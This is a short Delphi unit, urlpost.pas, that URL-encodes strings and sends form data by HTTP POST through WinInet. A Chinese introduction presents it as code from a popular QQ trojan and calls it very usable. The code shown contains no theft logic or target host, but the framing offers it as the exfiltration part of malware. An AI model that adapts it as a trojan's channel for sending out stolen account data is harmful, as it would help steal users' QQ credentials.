urlpost.pas

这是目前很流行的QQ木马 的代码 现在 这个很使用的

unit UrlPost;

interface

function HtmlEncode(s: string): string;
procedure PostURL(const aUrl: string; FTPostQuery: string);

implementation

uses
  Windows, WinInet;

function HtmlEncode(s: string): string;
var
  i, v1, v2: integer;
  function i2s(b: byte): char;
  begin
    if b <= 9 then result := chr($30 + b)
    else result := chr($41 - 10 + b);
  end;
begin
  result := '';
  for i := 1 to length(s) do
    if s[i] = ' ' then result := result + '+'
    else if (s[i] < ' ') or (s[i] in ['/', '\', ':', '&', '?', '|']) then
    begin
      v1 := ord(s[i]) mod 16;
      v2 := ord(s[i]) div 16;
      result := result + '%' + i2s(v2) + i2s(v1);
    end
    else result := result + s[i]; 
end;

procedure PostURL(const aUrl: string; FTPostQuery: string);
var
  hSession: HINTERNET;
  hConnect, hRequest: hInternet;
  lpBuffer: array[0..1024 + 1] of Char;
  dwBytesRead: DWORD;
  HttpStr:String;
  HostName, FileName: String;
  FTResult: Boolean;
  AcceptType: LPStr;
  Buf: Pointer;
  dwBufLen, dwIndex: DWord;
    // 字符串转小写
  function LowerCase(const Source: string): string;
  var
    TempChar: Char;
    StrLen: Integer;
    PSource,
    PDest: PChar;
  begin
    StrLen := Length(Source);
    SetLength(Result, StrLen);

    PSource := @Source[1];
    PDest := @Result[1];

    while (StrLen > 0) do
    begin
      TempChar := PSource^;
      if (TempChar >= 'A') and (TempChar <= 'Z') then Inc(TempChar, 32);
      PDest^ := TempChar;
      Inc(PSource);
      Inc(PDest);
      Dec(StrLen);
    end;
  end;
  procedure ParseURL(URL: String; var HostName, FileName: String);
    procedure ReplaceChar(c1, c2: Char; var St: String);
    var
      p: Integer;
    begin
      while True do
       begin
        p := Pos(c1, St);
        if p = 0 then Break
        else St[p] := c2;
       end;
    end;
  var
    i: Integer;
  begin
    if Pos(LowerCase('http://'), LowerCase(URL)) <> 0 then
      System.Delete(URL, 1, 7);
    i := Pos('/', URL);
    HostName := Copy(URL, 1, i);
    FileName := Copy(URL, i, Length(URL) - i + 1);
    if (Length(HostName) > 0) and (HostName[Length(HostName)] = '/') then
      SetLength(HostName, Length(HostName) - 1);
  end;
begin
  hSession := InternetOpen('MyApp', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
  try
    if Assigned(hSession) then
    begin
      ParseURL(aUrl, HostName, FileName);
      hConnect := InternetConnect(hSession, PChar(HostName),
      INTERNET_DEFAULT_HTTP_PORT, nil, nil, INTERNET_SERVICE_HTTP, 0, 0);

      AcceptType := PChar('Accept: */*');

      hRequest := HttpOpenRequest(hConnect, 'POST', PChar(FileName), 'HTTP/1.0',
                nil, @AcceptType, INTERNET_FLAG_RELOAD, 0);
                                               //
      HttpSendRequest(hRequest, 'Content-Type: application/x-www-form-urlencoded', 47,
                     PChar(FTPostQuery), Length(FTPostQuery));

      dwIndex  := 0;
      dwBufLen := 1024;
      GetMem(Buf, dwBufLen);
      FTResult := HttpQueryInfo(hRequest, HTTP_QUERY_CONTENT_LENGTH,
                              Buf, dwBufLen, dwIndex);
      if FTResult=True then
        try
          while True do
          begin
            dwBytesRead := 1024;
            InternetReadFile(hRequest, @lpBuffer, 1024, dwBytesRead);
            if dwBytesRead = 0 then break;
            lpBuffer[dwBytesRead] := #0;
            HttpStr:=HttpStr+lpBuffer;
          end;
        finally
          InternetCloseHandle(hRequest);
          InternetCloseHandle(hConnect);
        end;
    end;
  finally
    InternetCloseHandle(hSession);
  end;
end;
end.